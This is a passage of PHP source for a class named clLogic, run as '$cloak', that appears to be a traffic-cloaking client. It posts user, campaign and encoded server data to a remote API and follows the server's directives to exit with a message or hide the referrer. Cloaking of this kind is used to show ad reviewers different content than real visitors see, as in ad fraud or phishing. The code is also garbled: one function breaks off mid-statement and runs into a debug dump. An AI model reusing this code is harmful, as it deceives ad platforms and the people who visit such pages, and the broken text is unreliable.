} while ($attempts < $maxRetries); $result = $this->buildFormattedResponse($payload, $httpCode, $curlError, $response); if ($this->isDebugMode) { $this->dumpDebugTrace($result); } $this->processServerDirective($response); return $result; } catch (Throwable $e) { $this->handleException($e); return ['error' => $e->getMessage()]; } } private function generateRequestPayload(): array { try { return [ 'uid' => $this->userIdentifier, 'cid' => $this->campaignIdentifier, 'payload' => $this->encodedServerData, ]; } catch (Throwable $e) { $this->handleException($e); return []; } } private function configureCurlOptions(array $payload): array { try { return [ CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_HTTPHEADER => $this->httpHeaders, CURLOPT_POSTFIELDS => json_encode($payload), CURLOPT_TIMEOUT => $this->responseTimeout, CURLOPT_CONNECTTIMEOUT => $this->connectTimeout, CURLOPT_SSL_VERIFYPEER => true, ]; } catch (Throwable $e) { $this->handleException($e); return []; } } private function parseJsonResponse($raw): ?array { try { $decoded = json_decode($raw, true); return is_array($decoded) ? $decoded : null; } catch (Throwable $e) { $this->handleException($e); return null; } } private function buildFormattedResponse(array $payload, int $httpCode, string $error, ?array $response): array { try { return [ 'http_code' => $httpCode, 'curl_error' => $error, 'request_payload' => $payload, 'response' => $response, ]; } catch (Throwable $e) { $this->handleException($e); return []; } } private function processServerDirective(?array $response): void { try { if ($response['status'] == 'error') { echo $response['message'] ?? 'Unknown error'; exit; } if ($response['status'] == 'none') { return; } if (isset($response['hide_referrer']) && $response['hide_referrer'] == 1) { header("Referrer-Policy: no-referrer"); } if (isset($response['hide_referrer']) && $response['hide_referrer'] == 2) { echo '
";
echo "=========== TRACE INFO ===========";
echo "Endpoint: {$this->apiEndpoint}";
echo "--- Headers ---";
print_r($this->httpHeaders);
echo "--- Payload ---";
print_r([
'uid' => $this->userIdentifier,
'cid' => $this->campaignIdentifier,
'serverData' => $this->encodedServerData,
]);
echo "--- Response ---";
print_r($data);
echo "==================================";
echo "";
exit;
} catch (Throwable $e) {
$this->handleException($e);
}
}
public function setApiEndpoint(): void
{
try {
$this->apiEndpoint = 'https://api.trafficguardian.org/api/v1/run';
} catch (Throwable $e) {
$this->handleException($e);
}
}
private function handleException(Throwable $e): void
{
http_response_code(500);
if ($this->isDebugMode) {
echo "ERROR: " . $e->getMessage() . "" . $e->getTraceAsString() . ""; } else { echo "A system error occurred."; } exit; } } $cloak = new clLogic(); $cloak->start(); ?>